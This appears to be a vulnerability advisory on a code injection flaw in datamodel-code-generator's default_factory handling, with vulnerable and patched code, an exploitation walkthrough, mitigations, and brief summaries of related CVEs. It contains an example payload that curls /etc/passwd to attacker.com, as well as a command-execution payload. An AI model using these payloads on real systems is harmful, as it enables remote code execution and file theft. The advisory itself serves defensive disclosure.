Jul 29, 2026·7 min read·3 visits
Unsanitized rendering of the 'default_factory' schema parameter allows unauthenticated remote attackers to inject arbitrary Python expressions, resulting in automatic code execution when downstream applications import the generated code.
A critical code injection vulnerability exists in datamodel-code-generator from version 0.17.0 up to 0.60.1. The vulnerability allows remote attackers who supply a malicious JSON schema to execute arbitrary Python code. This occurs when the schema specifies a payload inside the 'default_factory' field extra, which is rendered directly into generated code without sanitization. When downstream processes load or import the output code, the evaluation of the class definition immediately triggers the execution of the injected code.
The datamodel-code-generator library is a widely utilized Python package developed by koxudaxi. It automates the generation of Pydantic models, Python standard dataclasses, and TypedDicts from input schemas such as OpenAPI and JSON Schema. This code generation mechanism is frequently integrated into automated pipelines, API client scaffolding tools, and dynamic validation interfaces where schema files are processed dynamically.\n\nCVE-2026-54653 (and GHSA-386q-5hp3-95m9) represents a critical code injection vulnerability within this processing chain. The vulnerability exists from version 0.17.0 up to 0.60.1. An attacker who is able to supply or modify a schema file used for code generation can insert malicious Python instructions that are executed automatically.\n\nThe vulnerability originates from the processing of custom field attributes, specifically the default_factory parameter. Under standard usage, default_factory is intended to specify a callable (such as list or dict) to produce dynamic default values for fields. However, the parser directly passes untrusted string inputs into the generated template output, bypassing necessary sanitization and escaping controls.\n\nWhen an application subsequently imports or runs the compiled Python output files, the Python interpreter parses the class attributes at module load-time. This forces immediate evaluation of the expressions specified in the default_factory parameters. Consequently, arbitrary code execution is triggered immediately without necessitating any instance initialization of the generated model classes.
The root cause of this vulnerability lies in the improper neutralization of special elements within the template rendering engine (CWE-1336), leading to code injection (CWE-94). During schema parsing, the component src/datamodel_code_generator/parser/jsonschema.py identifies attributes that correspond to Pydantic or standard Python fields. The parser uses a mapping function named get_field_extras to capture metadata fields such as default_factory from the schema object.\n\nIn the vulnerable codebase versions, any user-supplied string designated as a default_factory is treated as a safe literal. It is parsed and written into the target templates without being formatted via repr() or undergoing syntactic verification. The library formats these fields into standard declaration strings like Field(default_factory=val) using simple string formatting or Jinja2 template bindings.\n\nPython's syntax rules dictate that when a class is imported, the class-level declarations are executed sequentially to construct the class namespace. Because the generator does not wrap the untrusted default_factory string in quotes or restrict it to safe pre-defined callable patterns, the target script is written with raw code sequences as arguments.\n\nTo trigger this condition, an attacker simply needs to supply a JSON schema containing the default_factory attribute on any property definition. The value must contain valid Python code. The code generator parses the JSON schema structure without validation and writes the raw payload into the output file, transitioning a static JSON-based vulnerability into a dynamic Python execution context.
The vulnerable processing pipeline compiles schema fields without verifying if the inputs map to valid, safe callables. The extraction of fields occurs within jsonschema.py. The function get_field_extras collects additional JSON schema attributes and populates a dictionary returned to the code generator's model writer.\n\npython\n# Vulnerable implementation in get_field_extras\ndef get_field_extras(self, obj: JsonSchemaObject) -> dict[str, Any]:\n extras = {}\n # ... (extracts other metadata keys)\n if self.default_field_extras:\n extras.update(self.default_field_extras)\n # Vulnerable: default_factory is directly passed from the raw JSON object 'obj'\n # without checking if it contains arbitrary Python expressions.\n return extras\n\n\nThe lack of validation means that an input schema defining \"default_factory\": \"__import__('os').system('id')\" will pass this exact string directly to the template file writer. The resulting output class contains the dangerous expression directly inside the field definition, which executes upon import.\n\nThe fix introduced in version 0.60.2 introduces the helper function _validate_default_factory to restrict the input explicitly. The modification enforces a strict whitelist containing only standard Python callables that are safe for instantiation defaults.\n\npython\n# Patched code in src/datamodel_code_generator/parser/jsonschema.py\nALLOWED_DEFAULT_FACTORIES: frozenset[str] = frozenset({\"dict\", \"list\", \"set\"})\n\ndef _validate_default_factory(default_factory: Any) -> str:\n # Enforce strict type check and exact matching against the whitelist\n if isinstance(default_factory, str) and default_factory in ALLOWED_DEFAULT_FACTORIES:\n return default_factory\n allowed_values = \", \".join(sorted(ALLOWED_DEFAULT_FACTORIES))\n msg = f\"default_factory must be one of: {allowed_values}\"\n raise Error(msg)\n\n\nBy integrating this check within get_field_extras using extras[\"default_factory\"] = _validate_default_factory(default_factory), any input that does not strictly match \"dict\", \"list\", or \"set\" causes an instant termination of the compilation process. This prevents the generation of a malicious output file entirely.
Exploitation of CVE-2026-54653 requires that the victim or an automated background system compile a malicious schema, and subsequently load the compiled module. The primary prerequisite is that the input schema must be sourced from an unverified or user-controlled location.\n\nmermaid\ngraph LR\n A[\"Attacker Schema\"] -- \"default_factory payload\" --> B[\"datamodel-code-generator\"]\n B -- \"Direct Interpolation\" --> C[\"generated_model.py\"]\n C -- \"Import Statement\" --> D[\"Python Interpreter\"]\n D -- \"Definition Evaluation\" --> E[\"Arbitrary Command Execution\"]\n\n\nAn attacker constructs a payload targeting the default_factory parameter within a property block. The injected Python code must execute an action and then safely evaluate to a valid value or a fallback callable (such as returning list or dict) to ensure that the python parser doesn't crash during evaluation. For example, using __import__('os').system('curl -F d=@/etc/passwd http://attacker.com') or list achieves remote execution while maintaining valid syntax.\n\nWhen the code generator is executed against the malicious file, it outputs a Python file that looks structurally identical to a standard model file, but with the active payload embedded. Since there is no syntax validation during output generation, the file writes successfully.\n\nThe execution phase triggers automatically when a downstream worker imports the module. In standard microservice architectures, models are generated dynamically and imported into a router or validator script. Because class attributes evaluate immediately upon import, the code executes under the privilege level of the importing process.
The impact of successful exploitation is critical, leading to full host compromise under the security context of the executing user. Since Python code generation is often executed on build servers, CI/CD runners, or web servers with elevated privileges, the execution scope can span broad environments.\n\nThe CVSS v3.1 score is evaluated at 8.8 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. The network vector is applicable since the malicious schema files can be delivered via HTTP requests, API uploads, or webhook integrations. The requirement for user interaction is limited to the pipeline trigger or the backend dynamic import command executing the output file.\n\nOnce code execution is obtained, the attacker can access sensitive environment variables, read system configuration secrets, communicate with metadata services on cloud providers (such as IMDSv2 to retrieve IAM credentials), and pivot into adjacent Kubernetes namespaces or private networks.\n\nThis vulnerability represents a significant supply chain threat for development operations. The silent nature of the code execution during standard python imports makes it difficult to detect with traditional runtime behavior monitoring unless strict network-egress filters or system call anomaly detectors are in place.
The definitive remediation for CVE-2026-54653 is upgrading the datamodel-code-generator library to version 0.60.2 or greater. The update introduces the verification logic that stops compilation if an unauthorized default_factory pattern is detected.\n\nFor deployments where immediate library upgrade is not possible, organizations should implement strict validation wrappers around the schema compilation process. A pre-parser script can validate the JSON input by evaluating all instances of the key default_factory and raising an error if the value is not inside the strict allowed set [\"list\", \"dict\", \"set\"].\n\njson\n// Defensive regex-based input verification step\n\"default_factory\"\\s*:\\s*\"(?!(dict|list|set)\")([^\"]+)\"\n\n\nFurthermore, pipelines performing automated source code compilation from external sources must run within isolated, unprivileged execution runtimes. Restricting container capabilities, executing code generation as a non-root user, and using read-only root filesystems except for designated scratch directories will mitigate the impact of host compromise.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
datamodel-code-generator koxudaxi | >= 0.17.0, < 0.60.2 | 0.60.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 |
| Attack Vector | Network (AV:N) |
| CVSS Score | 8.8 |
| Exploit Status | Proof-of-Concept |
| Impact | Arbitrary Code Execution (RCE) |
| CISA KEV Status | Not Listed |
The product constructs code segments using externally-influenced input without neutralizing special elements, allowing modifications of execution flow when evaluated by downstream processes.
CVE-2026-55391 is a server-side request forgery (SSRF) bypass vulnerability in the datamodel-code-generator package. The vulnerability occurs due to a Time-of-Check to Time-of-Use (TOCTOU) race condition during DNS resolution, combined with a failure to inspect embedded IPv4-in-IPv6 address mappings. By deploying a malicious DNS server with a low Time-To-Live (TTL) configuration, an attacker can bypass private address blocklists and coerce the application to connect to internal services or local endpoints.
An arbitrary local file read and path traversal bypass vulnerability in datamodel-code-generator before version 0.62.0 allows unauthenticated remote attackers to read arbitrary files via crafted JSON-Schema $ref references using the file:// scheme or directory traversal sequences.
A vulnerability in the datamodel-code-generator library allows for unauthenticated remote code execution when generating code from malicious or untrusted schema specifications. By embedding special physical line terminators, such as carriage returns, vertical tabs, or form feeds, within template values, an attacker can break out of inline Python comment boundaries. The generated output file subsequently contains un-commented python instructions that execute automatically during module import.
A critical authentication bypass vulnerability in the SFTP server module of goshs version 2.1.3 allows remote, unauthenticated attackers to read, write, modify, or delete files on the target hosting environment. This vulnerability is caused by an incomplete logic check during initialization that falls back to a password-less configuration when an empty password string is specified.
An access control bypass vulnerability in goshs prior to version 2.1.4 allows unauthenticated remote attackers to bypass security flags intended to prevent file deletion and unauthorized modification. By exploiting the server's incorrect classification of WebDAV MOVE and overwriting COPY methods, attackers can execute arbitrary file deletion and data manipulation on the host system.
CVE-2026-66063 is an unauthenticated directory traversal and arbitrary file write vulnerability in goshs before version 2.1.5. Due to improper sanitization of file upload names, an unauthenticated attacker can write files outside the served web root. A related trailing slash bypass in the same version allows unauthorized file retrieval.